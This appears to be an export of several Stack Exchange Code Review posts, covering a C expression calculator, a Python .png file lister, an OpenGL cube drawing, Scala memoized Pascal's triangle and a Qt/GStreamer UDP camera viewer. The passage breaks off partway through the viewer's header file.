[ { "body": "<h1>Keep the stack as simple as possible</h1>\n<p>You have given your stack implementation knowledge of the types that are stored in the stack; either <code>float</code> or <code>char</code>. This complicates the code, since now you have to have two node <code>struct</code>s, and two sets of push and pop functions, one for each type. You should try to apply the <a href=\"https://en.wikipedia.org/wiki/Separation_of_concerns\" rel=\"nofollow noreferrer\">separation of concerns</a> design principle here, and limit the stack code to just managing the stack itself, not its contents.</p>\n<p>In this case, I would do this by making the stack manage <code>token</code>s, and let the calling code worry about whether a token holds a <code>float</code> or a <code>char</code>. For example, like so:</p>\n<pre><code>struct node {\n struct token data;\n struct node *next;\n};\n\nvoid push(struct node **head, struct token data);\nstruct token pop(struct node **head);\n</code></pre>\n<p>This will actually simplify other code as well. For example, instead of:</p>\n<pre><code>push_float(&amp;operands, token-&gt;data.operand);\n</code></pre>\n<p>You can now just write:</p>\n<pre><code>push(&amp;operands, *token);\n</code></pre>\n<p>And even a line like:</p>\n<pre><code>return pop_float(&amp;operands) + tmp;\n</code></pre>\n<p>Can still be a one-liner, by writing:</p>\n<pre><code>return pop(&amp;operands).data.operand + tmp;\n</code></pre>\n<h1>Consider passing <code>token</code>s by value everywhere</h1>\n<p>A <code>struct token</code> is a rather small structure, in fact on a 64-bit operating system it's just as big as a single pointer. So I would just pass it by value where possible, and avoid unnecessary memory allocations. This will also get rid of a memory leak, since you called <code>free(token)</code> outside the first <code>while</code>-loop in <code>main()</code>.</p>\n<h1>Fix the example usage</h1>\n<p>If you just run <code>./calc</code> without arguments, you print usage information, including an example. This is very nice! However, the example you print makes it look like your program wants the input in reverse polish notation, but your program actually expects infix notation. I would just copy the example you gave here on Code Review.</p>\n<h1>Move the code calling the tokenizer and evaluation function into its own function</h1>\n<p>Again, try to separate concerns, and let <code>main()</code> just worry about parsing the command line arguments and printing the final result, but move the code calling the tokenizer and evaluator into its own function. For example:</p>\n<pre><code>float calculate(char *expr) {\n rmspaces(expr);\n ...\n return operands-&gt;data.data.operand;\n}\n\nint main(int argc, char *argv[]) {\n if (argc != 2) {\n ...\n }\n\n printf(&quot;Result: %f\\n&quot;, calculate(argv[1]));\n}\n</code></pre>\n<h1>Avoid <code>static</code> and global variables if possible</h1>\n<p>There are global variables <code>operands</code> and <code>operators</code>, and a <code>static</code> variable <code>op_allowed</code> in <code>tokenize()</code>. While it is fine for a simple application like this, in larger applications this can lead to problems. A good practice is to put all the state related to the calculator in a single struct, and pass a pointer to such a struct to any functions that need to access this state. For example:</p>\n<pre><code>struct calculator_state {\n struct node *operands;\n struct node *operators;\n bool op_allowed;\n};\n\nfloat calculate(char *expr) {\n rmspaces(expr);\n\n struct calculator_state state = {NULL, NULL, false};\n\n while (expr[0] != '\\0') {\n struct token token = tokenize(&amp;state, expr);\n handle_token(token);\n }\n\n ...\n}\n</code></pre>\n<p>Of course you have to modify <code>tokenize()</code>, <code>handle_token()</code> and <code>eval()</code> to use this state as well:</p>\n<pre><code>float eval(struct calculator state &amp;state, char op) {\n float tmp = pop(&amp;state.operands);\n ...\n}\n</code></pre>\n<h1>Ensure you free all memory</h1>\n<p>At the end of the calculation, you have a single node left on the stack that contains the result. It is good practice to also ensure you free that node before returning from <code>calculate()</code>, otherwise you will have a memory leak. This is not a big deal in your current program, but if you were to use <code>calculate()</code> multiple times in a larger program, then it does become a problem.</p>\n<h1>Don't copy strings over themselves</h1>\n<p>There is a bug in this line of code:</p>\n<pre><code>strcpy(*expr, rest);\n</code></pre>\n<p>You are copying part of a string over itself. This has the same issues as <code>memcpy()</code> with overlapping source and destination: there is no guarantee in which order <code>strcpy()</code> is doing the actual copying, so it might corrupt parts of <code>rest</code> before it finishes the copy. There is no <code>strmove()</code> unfortunately, but you don't need it at all, you can just replace this line with:</p>\n<pre><code>*expr = rest;\n</code></pre>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-30T13:07:29.727", "Id": "258870", "ParentId": "257409", "Score": "2" } } ]
{ "AcceptedAnswerId": "258870", "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T18:37:56.980", "Id": "257409", "Score": "6", "Tags": [ "algorithm", "c", "parsing", "calculator", "stack" ], "Title": "Calculator in C - Parsing arithmetic expression using the shunting-yard algorithm" }
257409
<p>I am using a function that returns a list of all files (full path for each of them) with the given extension in the given folder and all subfolders. As the process is quite long and user can get feeling that the app freezes, every 5 seconds I write to the output the name of the file the script is working on. The code below works fine. But I am sure it is not the most readable and effective way to write it. So I am eager for feedback and advice. Note: I tend to import as little modules as possible. os and time for this task is enough, I think.</p> <pre><code>import os import time def all_files_list(checkpath): '''Creates list of all files in subfolders of the given folder. Counts only .png''' lastTimer = time.time() result_list = [] if checkpath: for root, dirs, files in os.walk(checkpath): for x in files: if x[-4:] == &quot;.png&quot;: if time.time() - lastTimer2 &gt; 5: lastTimer2 = time.time() print('Working on ' + os.path.join(root, x)) result_list.append(os.path.join(root, x)) return result_list </code></pre> <p>It creates a list of all files. Then depending on the task settings this list is filtered by specific parameters (i.e. by the language code in specific part of the path name). Then there are many options available of what can be done with the files. Copy in some structure, comparing the same files in the next folders, etc.</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T08:00:06.283", "Id": "508495", "Score": "0", "body": "Please share your imports. Is there a reason you're restricted to Python 2.x?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T12:50:26.607", "Id": "508507", "Score": "0", "body": "Sorry, I do not understand. This function is a part of a big application. Should I put here all imports that application uses?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T12:52:37.033", "Id": "508508", "Score": "0", "body": "It is a part of a big project that was started with python 2.x. At the moment I think it will be more troublesome to move it to python 3 than continue using 2.7." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T13:41:09.983", "Id": "508510", "Score": "1", "body": "At least all the imports that are used by this function. Can you tell us more about how this function is used in your bigger application as well? It's a lot easier to review code if the code is in it's original environment." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T16:12:18.117", "Id": "508519", "Score": "0", "body": "It created a list of all files. Then depending on the task settings this list is filtered by specific parameters (i.e. by the language code in specific part of the path name). Then there are many options available for user of what can be done with the files. Copy in some structure, comparing the same files in the next folders, etc." } ]
[]
{ "AcceptedAnswerId": null, "CommentCount": "5", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T18:44:16.633", "Id": "257411", "Score": "3", "Tags": [ "python", "python-2.x", "file-system", "timer" ], "Title": "Python script that getting list of all files with specific ext starting from the current folder. Using timer for reporting about the process" }
257411
<p>I made a 3D object in OpenGL. But I think my code is extremely bad and now, I want to make my code better.</p> <p>Here is my code:</p> <pre><code>#include &lt;GL/glut.h&gt; void display() { glClear(GL_COLOR_BUFFER_BIT); glBegin(GL_POLYGON); glColor3f(0.5, 0.5, 0.5); glVertex2f(0.0, 0.0); glVertex2f(0.5, 0.0); glVertex2f(0.5, 0.5); glVertex2f(0.0, 0.5); glVertex2f(0.75, 0.75); glVertex2f(0.25, 0.75); glVertex2f(0.0, 0.5); glVertex2f(0.5, 0.0); glVertex2f(0.75, 0.25); glVertex2f(0.75, 0.75); glEnd(); glBegin(GL_LINES); glColor3f(1.0, 1.0, 1.0); glVertex2f(0.0, 0.0); glVertex2f(0.5, 0.0); glVertex2f(0.5, 0.0); glVertex2f(0.5, 0.5); glVertex2f(0.5, 0.5); glVertex2f(0.0, 0.5); glVertex2f(0.0, 0.5); glVertex2f(0.0, 0.0); glVertex2f(0.5, 0.0); glVertex2f(0.75, 0.25); glVertex2f(0.75, 0.25); glVertex2f(0.75, 0.75); glVertex2f(0.75, 0.75); glVertex2f(0.5, 0.5); glVertex2f(0.75, 0.75); glVertex2f(0.25, 0.75); glVertex2f(0.25, 0.75); glVertex2f(0.0, 0.5); glEnd(); glFlush(); } int main(int argc, char *argv[]) { glutInit(&amp;argc, argv); glutInitDisplayMode(GLUT_SINGLE); glutCreateWindow(&quot;OpenAdventrue&quot;); glutDisplayFunc(display); glutFullScreen(); glutMainLoop(); } </code></pre> <p>(Compile with <code>gcc file.c -o file -lGL -lglut</code>)</p>
[]
[ { "body": "<p>There is not much code to review.</p>\n<ol>\n<li><p>GLUT is deprecated. The original GLUT ceased support more than 20 years ago. FreeGLUT is an open source alternative, but I'm not sure what the status is, since the last release was 18 months ago. Use something modern like GLFW or SDL2.</p>\n</li>\n<li><p><code>glBegin()</code> and <code>glEnd()</code> are deprecated. The immediate-mode API was deprecated in version 3.0 (we are now at version 4.6). You should use Modern OpenGL (vertex arrays, buffer objects). Any performant OpenGL code should not use the immediate mode API. <a href=\"https://stackoverflow.com/questions/14300569/opengl-glbegin-glend\">See this SO answer why.</a></p>\n</li>\n<li><p><code>glVertex2f</code> essentially sets the z-coordinate of the vertex to 0.0. So the function is drawing a 2D point, not a 3D point. So it is not 3D object.</p>\n</li>\n</ol>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T03:07:36.667", "Id": "257425", "ParentId": "257412", "Score": "2" } }, { "body": "<p>I somehow like the code - very minimal (except the <code>glutFullScreen()</code>), and it is working.</p>\n<p>It also raises a fundamental question: what is a <strong>3D-Object</strong>? Can we look at one without special 3D equipment?</p>\n<p>You have hardcoded the perspective. And it is no coincidence you picked the classical cube view - nice demonstration of what you can do with outlines and lines with only 0, 0.25, 0.5, 0.75 XY-coordinates.</p>\n<p>But what if you want to change the viewpoint? Or add a cube in front, or want to draw a different shape? Your program is bad (as you say yourelf) because it is a dead-end street.</p>\n<p>A cube is more easily defined with XYZ coordinates. The corner points (vertices) are:</p>\n<pre><code>0,0,0\n0,1,0\n1,0,0\n1,1,0\n0,0,1\n0,1,1\n1,0,1\n1,1,1\n</code></pre>\n<p>You can make a wire cube from lines, or a box from triangles from these points.</p>\n<p>For basic 3D view it, you also have to define an angle and distance. Through geometrical rules you can figure out the final XY coords. You let the user change the point of view and maybe add a light direction - that is my idea of a <strong>3D Object</strong> in OpenGL.</p>\n<p>Problem is only: with &quot;modern&quot; OpenGL (i.e. not fixed-pipeline, but &quot;dynamic&quot;) you end up working with <strong>projection matrices</strong> in GL Shading Language. Either pen-and-paper with sine and cosine etc., or graphic card with vertex buffers, textures and shaders.</p>\n<p><code>glut</code> itself does not help in that direction, unless icosahedrons and teapots is all that you need.</p>\n<hr />\n<p>Where did you start from?</p>\n<p>Do you have any idea what you want your program to do? At least you have proven that you know <em>bad code</em> when you see it.</p>\n<hr />\n<p>On webglfundamentals.org I found an article stating that WebGL actually is a <strong>rasterization engine</strong>, and not a 3D library.</p>\n<blockquote>\n<p>You have to provide it with clip space coordinates that represent what\nyou want drawn. Sure you provide a x,y,z,w and it divides by W before\nrendering but that's hardly enough to qualify WebGL as a 3D library.\nIn the 3D libraries you supply 3D data, the libraries take care of\ncalculating clip space points from 3D.</p>\n</blockquote>\n<p>But modern OpenGL is the same: it gives you access to shaders etc. so you can fill the window with pixels in an efficient way.</p>\n<p>Well here is a good answer (6 years ago):</p>\n<blockquote>\n<p>You should be aware that <strong>modern desktop OpenGL</strong> does not use glLight,\nglRotate etc. these are considered bad practice for a very long time\nnow (10 years or more), and so modern OpenGL has this same 'problem'\nof <strong>not</strong> solving a lot of <strong>geometry and algorithmic</strong> problems for you.</p>\n</blockquote>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T08:23:29.187", "Id": "257433", "ParentId": "257412", "Score": "1" } } ]
{ "AcceptedAnswerId": "257425", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T19:10:49.650", "Id": "257412", "Score": "1", "Tags": [ "c", "opengl" ], "Title": "3D object in OpenGL" }
257412
<p>So reading about functional programming, applications to dynamic programming, and learning Scala. I figured I would try it out with a popular example, Pascal's Triangle, tests against known values work out fine. Any tips for optimization? Am I doing anything totally wrong? Is there a way to do this with tail recursion that I'm missing? Any feedback appreciated.</p> <pre><code>def pascal(c: Int, r: Int): Int = { // use a cache; map if (c,r) pair to value // fill in value recursively var cache: Map[(Int,Int), Int] = Map() cache += ((0,0) -&gt; 1) var i = 0 for(i &lt;- 1 to r){ cache += ((0,i) -&gt; 1) cache += ((i,i) -&gt; 1) } def getPascalValue(c: Int, r: Int): Int = { if (cache.contains((c, r))) { cache((c, r)) } else { cache += ((c, r) -&gt; (getPascalValue(c, r - 1) + getPascalValue(c - 1, r - 1))) cache((c, r)) } } getPascalValue(c,r) } </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T19:49:59.880", "Id": "508455", "Score": "1", "body": "tested with values c=5 and r=109 and the runtime was quite long, so there seems to be an issue with the cache" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T19:48:01.107", "Id": "508584", "Score": "1", "body": "Please do not update the code in your question to incorporate feedback from answers, doing so goes against the Question + Answer style of Code Review. This is not a forum where you should keep the most updated version in your question. Please see *[what you may and may not do after receiving answers](//codereview.meta.stackexchange.com/a/1765)*." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T19:48:28.607", "Id": "508585", "Score": "0", "body": "Feel free to ask a new question instead, with a hyperlink to this question for bonus context." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T20:05:44.603", "Id": "508586", "Score": "0", "body": "_If you want to show everyone how you improved your code, but don't want to ask another question, then post an answer to your own question._ So it would be okay to post the updated code as an answer to this question?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T17:23:18.133", "Id": "508689", "Score": "1", "body": "Only if the answer would be written like a review. That is, it should point out why the original code was wrong and make insightful remarks about the code. You can add parts from other answers (please give credit where applicable) but also your own remarks. Feel free to add the new code to the end of it." } ]
[ { "body": "<p>Your code is clearly organized and well presented, but it suffers from a number of problems, from the trivial to the profound.</p>\n<ul>\n<li><code>var i = 0</code> is never used and doesn't need to be there.</li>\n<li><strong>safety</strong>: There's no check for bad input. <code>pascal(2,1)</code> will happily <code>java.lang.StackOverflowError</code>.</li>\n<li>Your code indicates a lack of familiarity with the Scala Standard Library. Initializing the <code>cache</code>, for example, can be accomplished with a single statement.</li>\n</ul>\n<pre><code>var cache: Map[(Int,Int), Int] =\n (0 to r).flatMap(n =&gt; Seq((0,n)-&gt;1, (n,n)-&gt;1)).toMap\n</code></pre>\n<ul>\n<li>Likewise, instead of an immutable <code>Map</code> in a <code>var</code> variable for the cache, if you use a mutable <code>Map</code> in a <code>val</code> variable then <code>getPascalValue()</code> can be reduced to a single statement.</li>\n</ul>\n<pre><code>def getPascalValue(c: Int, r: Int): Int =\n cache.getOrElseUpdate((c,r), getPascalValue(c, r-1) +\n getPascalValue(c-1, r-1))\n</code></pre>\n<p>But the real problem here is that you're putting in a lot of overhead for no reward.</p>\n<ul>\n<li><strong>small problem</strong>: The <code>cache</code> is initialized with some values that <em>may</em> never be referenced.</li>\n<li><strong>big problem</strong>: The <code>cache</code> is updated with values that <em>will</em> never be referenced.</li>\n</ul>\n<p>That's right. Nothing added to the <code>cache</code>, after initialization, serves any purpose. It's just inefficient busywork.</p>\n<p>And the reason your cache isn't working: each iteration (recursion) starts with the original, initialized, <code>cache</code>. That version is updated, <code>+=</code>, with the newly computed pascal number, but that update is lost when the stack frame pops and execution returns to the caller.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T18:29:12.330", "Id": "508580", "Score": "0", "body": "Very helpful, thanks. Updated code with your suggestions and the cache is working properly now" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T07:13:48.320", "Id": "508628", "Score": "1", "body": "Thanks. I'm glad you found this helpful. I'm surprised you say the cache is working properly. I didn't offer a fix for the cache problem because I don't know of an easy way to fix it. I'd be interested to learn how you fixed it and/or how you tested it to show it was fixed." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-23T02:48:21.433", "Id": "508713", "Score": "0", "body": "Yeah just switching to a mutable map and using the `getOrElseUpdate` method was enough to get the cache working, testing based on run time for `pascal(5, 105)` run time dropped from 20s to 3ms, link to updated code: https://codereview.stackexchange.com/questions/257554/efficiently-calculate-value-of-pascals-triangle-using-memoization-and-recursion" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-23T05:44:09.570", "Id": "508717", "Score": "2", "body": "Oh my. You're right. The compiler recognizes the differences between an immutable collection in a `var` and a mutable collection in a `val`. Smart compiler." } ], "meta_data": { "CommentCount": "4", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T07:58:19.363", "Id": "257431", "ParentId": "257413", "Score": "2" } } ]
{ "AcceptedAnswerId": "257431", "CommentCount": "5", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T19:33:56.750", "Id": "257413", "Score": "3", "Tags": [ "recursion", "functional-programming", "scala", "dynamic-programming", "memoization" ], "Title": "Efficiently calculate value of Pascal's Triangle using memoization and recursion" }
257413
<p>The goal of the code is to display a live camera feed sent by GStreamer over UDP, and to give an indication of when the signal is lost by displaying a static blue screen instead of the last frozen frame. Qt is used to display the image, and to provide a label, and a button for taking snapshots.</p> <p>I would be interested in any suggestions for improvements, but especially for improving speed and efficiency.</p> <p>[main.cpp]</p> <pre><code>// For testing: gst-launch-1.0 videotestsrc ! video/x-raw,format=GRAY8 ! videoconvert ! x264enc pass=qual quantizer=20 tune=zerolatency ! rtph264pay ! udpsink host=224.1.1.1 port=5000 // It seems that g_signal_connect needs to be called before QObject::connect. #include &lt;QApplication&gt; #include &lt;QCommandLineParser&gt; #include &lt;iostream&gt; #include &quot;mainwindow.h&quot; #include &quot;acquisitiontype.h&quot; int main(int argc, char *argv[]) { QApplication app(argc, argv); QCommandLineParser parser; QString label_font; const QString default_label_font = &quot;Courier&quot;; qreal label_point_size; const QString default_label_point_size = &quot;14&quot;; const qreal min_label_point_size = 6; const qreal max_label_point_size = 72; QStringList args; const unsigned short expected_args_count = 3; QString address; QString port; QString label_text; parser.addHelpOption(); QCommandLineOption label_fontOption(&quot;f&quot;, &quot;Label font&quot;, &quot;font&quot;, default_label_font); parser.addOption(label_fontOption); QCommandLineOption label_point_sizeOption(&quot;s&quot;, &quot;Label point size&quot;, &quot;size&quot;, default_label_point_size); parser.addOption(label_point_sizeOption); parser.addPositionalArgument(&quot;address&quot;, &quot;Address&quot;); parser.addPositionalArgument(&quot;port&quot;, &quot;Port&quot;); parser.addPositionalArgument(&quot;label&quot;, &quot;Label text&quot;); parser.process(app); label_font = parser.value(label_fontOption); label_point_size = parser.value(label_point_sizeOption).toDouble(); label_point_size = label_point_size &gt; min_label_point_size ? label_point_size : min_label_point_size; label_point_size = label_point_size &lt; max_label_point_size ? label_point_size : max_label_point_size; args = parser.positionalArguments(); if (args.count() &lt; expected_args_count) { std::cout &lt;&lt; parser.helpText().toLatin1().data() &lt;&lt; std::endl; std::cout &lt;&lt; &quot;error: too few arguments&quot; &lt;&lt; std::endl; return -1; } else if (args.count() &gt; expected_args_count) { std::cout &lt;&lt; parser.helpText().toLatin1().data() &lt;&lt; std::endl; std::cout &lt;&lt; &quot;error: unrecognized arguments: &quot; &lt;&lt; QStringList(args.mid(expected_args_count, -1)).join(&quot; &quot;).toLatin1().data() &lt;&lt; std::endl; return -1; } address = args.at(0); port = args.at(1); label_text = args.at(2); AcquisitionType acquisition(address.toLatin1(), port.toInt()); MainWindow window(label_text, label_font, label_point_size); QObject::connect(&amp;acquisition, SIGNAL(setData(const QPixmap&amp;)), &amp;window, SLOT(setData(const QPixmap&amp;))); window.show(); return app.exec(); } </code></pre> <p>[mainwindow.cpp]</p> <pre><code>#include &quot;mainwindow.h&quot; MainWindow::MainWindow(QString label_text, QString label_font, qreal label_point_size) { QFont font; centralWidget = new QWidget; layout = new QVBoxLayout; labelWidget = new QLabel; imageWidget = new ImageType; buttonWidget = new QPushButton; dialogWidget = new QFileDialog; labelWidget-&gt;setText(label_text); font.setFamily(label_font); font.setPointSizeF(label_point_size); labelWidget-&gt;setFont(font); labelWidget-&gt;setAlignment(Qt::AlignHCenter); QSizePolicy labelWidget_size_policy(QSizePolicy::Preferred, QSizePolicy::Fixed); labelWidget-&gt;setSizePolicy(labelWidget_size_policy); layout-&gt;addWidget(labelWidget); layout-&gt;addWidget(imageWidget); QSizePolicy buttonWidget_size_policy(QSizePolicy::Fixed, QSizePolicy::Fixed); buttonWidget-&gt;setSizePolicy(buttonWidget_size_policy); buttonWidget-&gt;setIcon(QIcon::fromTheme(&quot;camera-photo&quot;)); buttonWidget-&gt;setIconSize(QSize(24, 24)); buttonWidget-&gt;setEnabled(false); layout-&gt;addWidget(buttonWidget); dialogWidget-&gt;setFileMode(QFileDialog::AnyFile); dialogWidget-&gt;setAcceptMode(QFileDialog::AcceptSave); dialogWidget-&gt;setNameFilter(&quot;Images (*.png)&quot;); dialogWidget-&gt;setDefaultSuffix(&quot;.png&quot;); QObject::connect(buttonWidget, SIGNAL(clicked()), imageWidget, SLOT(setSnapshot())); QObject::connect(buttonWidget, SIGNAL(clicked()), dialogWidget, SLOT(show())); QObject::connect(dialogWidget, SIGNAL(fileSelected(QString)), imageWidget, SLOT(saveSnapshot(QString))); centralWidget-&gt;setLayout(layout); setCentralWidget(centralWidget); setWindowTitle(&quot;GigE Camera - &quot; + label_text); resize(500, 500); } void MainWindow::setData(const QPixmap&amp; pixmap) { if (!pixmap.isNull()) { buttonWidget-&gt;setEnabled(true); } else { buttonWidget-&gt;setEnabled(false); } imageWidget-&gt;setData(pixmap); } </code></pre> <p>[mainwindow.h]</p> <pre><code>#include &quot;imagetype.h&quot; #include &lt;QMainWindow&gt; #include &lt;QVBoxLayout&gt; #include &lt;QLabel&gt; #include &lt;QPushButton&gt; #include &lt;QFileDialog&gt; class MainWindow : public QMainWindow { Q_OBJECT public: MainWindow(QString label_text, QString label_font, qreal label_point_size); public slots: void setData(const QPixmap&amp; pixmap); private: QVBoxLayout* layout; QLabel* labelWidget; ImageType* imageWidget; QPushButton* buttonWidget; QFileDialog* dialogWidget; QWidget* centralWidget; }; </code></pre> <p>[acquisitiontype.cpp]</p> <pre><code>#include &quot;acquisitiontype.h&quot; // From the documentation for the QImage constructor: &quot;The buffer must remain valid throughout the life of the QImage and all copies that have not been modified or otherwise detached from the original buffer.&quot; This is why a QPixmap copy of the QImage is sent instead of the QImage. If the QImage is sent then the buffer is not valid at the end of this callback and before the QImage is used in the slot function. The QPixmap copy is not reliant on the buffer remaining valid. GstFlowReturn AcquisitionType::new_sample_callback(GstAppSink* appsink, gstreamer_data* user_data) { GstSample* sample; GstCaps* caps; GstStructure* s; GstBuffer* buffer; GstMapInfo map; QImage image; QPixmap pixmap; int width; int height; sample = gst_app_sink_pull_sample(appsink); if (sample) { caps = gst_sample_get_caps(sample); if (caps) { s = gst_caps_get_structure(caps, 0); if (gst_structure_get_int(s, &quot;width&quot;, &amp;width) &amp;&amp; gst_structure_get_int(s, &quot;height&quot;, &amp;height)) { buffer = gst_sample_get_buffer(sample); if (buffer) { if (gst_buffer_map(buffer, &amp;map, GST_MAP_READ)) { //printf(&quot;have sample\n&quot;); image = QImage(map.data, width, height, QImage::Format_RGBX8888); pixmap.convertFromImage(image); gst_buffer_unmap(buffer, &amp;map); } } } } gst_sample_unref(sample); } emit (user_data-&gt;instance)-&gt;setData(pixmap); return GST_FLOW_OK; } GstPadProbeReturn AcquisitionType::udp_source_buffer_pad_probe_callback(GstPad* pad, GstPadProbeInfo* info, gstreamer_data* user_data) { (void) pad; (void) info; GstBus* bus; //printf(&quot;have data\n&quot;); bus = gst_element_get_bus(user_data-&gt;pipeline); user_data-&gt;signal_handler_id = g_signal_connect(G_OBJECT(bus), &quot;message::element&quot;, (GCallback) udp_source_timeout_callback, user_data); gst_object_unref(bus); return GST_PAD_PROBE_REMOVE; } void AcquisitionType::udp_source_timeout_callback(GstBus* bus, GstMessage* message, gstreamer_data* user_data) { const GstStructure* st = gst_message_get_structure(message); GstPad* pad; QPixmap pixmap; if (GST_MESSAGE_TYPE(message) == GST_MESSAGE_ELEMENT) { if (gst_structure_has_name(st, &quot;GstUDPSrcTimeout&quot;)) { //printf(&quot;no data\n&quot;); // Sends a null pixmap. emit (user_data-&gt;instance)-&gt;setData(pixmap); g_signal_handler_disconnect(G_OBJECT(bus), user_data-&gt;signal_handler_id); pad = gst_element_get_static_pad(user_data-&gt;udp_source, &quot;src&quot;); gst_pad_add_probe(pad, GST_PAD_PROBE_TYPE_BUFFER, (GstPadProbeCallback) udp_source_buffer_pad_probe_callback, user_data, NULL); gst_object_unref(pad); } } } void AcquisitionType::bus_error_callback(GstBus* bus, GstMessage* message, gstreamer_data* user_data) { (void) bus; (void) user_data; GError* err; gchar* debug_info; gst_message_parse_error(message, &amp;err, &amp;debug_info); g_printerr(&quot;Error received from element %s: %s\n&quot;, GST_OBJECT_NAME(message-&gt;src), err-&gt;message); g_printerr(&quot;Debugging information: %s\n&quot;, debug_info ? debug_info : &quot;none&quot;); g_clear_error(&amp;err); g_free(debug_info); exit(-1); } AcquisitionType::AcquisitionType(char const* address, gint port) { GstStateChangeReturn ret; GstBus* bus; gst_init(NULL, NULL); data.instance = this; data.udp_source = gst_element_factory_make(&quot;udpsrc&quot;, &quot;udp_source&quot;); g_object_set(G_OBJECT(data.udp_source), &quot;address&quot;, address, &quot;port&quot;, port, &quot;caps&quot;, gst_caps_new_empty_simple(&quot;application/x-rtp&quot;), &quot;timeout&quot;, G_GUINT64_CONSTANT(1000000000), NULL); data.rtp_decoder = gst_element_factory_make(&quot;rtph264depay&quot;, &quot;rtp_decoder&quot;); data.video_decoder = gst_element_factory_make(&quot;avdec_h264&quot;, &quot;video_decoder&quot;); data.video_converter = gst_element_factory_make(&quot;videoconvert&quot;, &quot;video_converter&quot;); data.app_sink = gst_element_factory_make(&quot;appsink&quot;, &quot;app_sink&quot;); g_object_set(G_OBJECT(data.app_sink), &quot;emit-signals&quot;, true, &quot;max-buffers&quot;, G_GUINT64_CONSTANT(1), &quot;drop&quot;, true, &quot;caps&quot;, gst_caps_new_simple(&quot;video/x-raw&quot;, &quot;format&quot;, G_TYPE_STRING, &quot;RGBx&quot;, NULL), NULL); g_signal_connect(data.app_sink, &quot;new-sample&quot;, (GCallback) new_sample_callback, &amp;data); data.pipeline = gst_pipeline_new(&quot;pipeline&quot;); if ( !data.pipeline || !data.udp_source || !data.rtp_decoder || !data.video_decoder || !data.video_converter || !data.app_sink ) { g_printerr(&quot;Not all elements could be created.\n&quot;); exit(-1); } gst_bin_add_many( GST_BIN(data.pipeline), data.udp_source, data.rtp_decoder, data.video_decoder, data.video_converter, data.app_sink, NULL); if (gst_element_link_many( data.udp_source, data.rtp_decoder, data.video_decoder, data.video_converter, data.app_sink, NULL) != TRUE) { g_printerr(&quot;Elements could not be linked.\n&quot;); gst_object_unref(data.pipeline); exit(-1); } bus = gst_element_get_bus(data.pipeline); gst_bus_add_signal_watch(bus); g_signal_connect(G_OBJECT(bus), &quot;message::error&quot;, (GCallback) bus_error_callback, &amp;data); data.signal_handler_id = g_signal_connect(G_OBJECT(bus), &quot;message::element&quot;, (GCallback) udp_source_timeout_callback, &amp;data); gst_object_unref(bus); ret = gst_element_set_state(data.pipeline, GST_STATE_PLAYING); if (ret == GST_STATE_CHANGE_FAILURE) { g_printerr(&quot;Unable to set the pipeline to the playing state.\n&quot;); gst_object_unref(data.pipeline); exit(-1); } } AcquisitionType::~AcquisitionType() { GstBus* bus; gst_element_set_state(data.pipeline, GST_STATE_NULL); bus = gst_element_get_bus(data.pipeline); gst_bus_remove_signal_watch(bus); gst_object_unref(bus); gst_object_unref(data.pipeline); } </code></pre> <p>[acquisitiontype.h]</p> <pre><code>#include &lt;gst/gst.h&gt; #include &lt;gst/app/gstappsink.h&gt; #include &lt;QObject&gt; #include &lt;QPixmap&gt; class AcquisitionType; struct gstreamer_data { GstElement* pipeline; GstElement* udp_source; GstElement* rtp_decoder; GstElement* video_decoder; GstElement* video_converter; GstElement* app_sink; gulong signal_handler_id; AcquisitionType* instance; }; class AcquisitionType : public QObject { Q_OBJECT public: AcquisitionType(char const* address, gint port); ~AcquisitionType(); signals: void setData(const QPixmap&amp;); private: static GstFlowReturn new_sample_callback(GstAppSink* appsink, gstreamer_data* user_data); static GstPadProbeReturn udp_source_buffer_pad_probe_callback(GstPad* pad, GstPadProbeInfo* info, gstreamer_data* user_data); static void udp_source_timeout_callback(GstBus* bus, GstMessage* message, gstreamer_data* user_data); static void bus_error_callback(GstBus* bus, GstMessage* message, gstreamer_data* user_data); gstreamer_data data; }; </code></pre> <p>[imagetype.cpp]</p> <pre><code>#include &quot;imagetype.h&quot; #include &lt;QPainter&gt; void ImageType::setData(const QPixmap&amp; pixmap) { this-&gt;pixmap = pixmap; this-&gt;repaint(); } void ImageType::setSnapshot() { this-&gt;snapshot = this-&gt;pixmap; } void ImageType::saveSnapshot(QString filename) { this-&gt;snapshot.save(filename, &quot;PNG&quot;); } void ImageType::paintEvent(QPaintEvent* event) { (void) event; QPainter painter(this); QPixmap scaled; if (!pixmap.isNull()) { scaled = pixmap.scaled(this-&gt;size(), Qt::KeepAspectRatio, Qt::SmoothTransformation); painter.drawPixmap(0, 0, scaled); } else { painter.fillRect(this-&gt;rect(), QColor(&quot;blue&quot;)); } } </code></pre> <p>[imagetype.h]</p> <pre><code>#include &lt;QWidget&gt; class ImageType : public QWidget { Q_OBJECT public: ImageType(QWidget* parent = nullptr) : QWidget(parent) {}; void setData(const QPixmap&amp; pixmap); void paintEvent(QPaintEvent* event); public slots: void 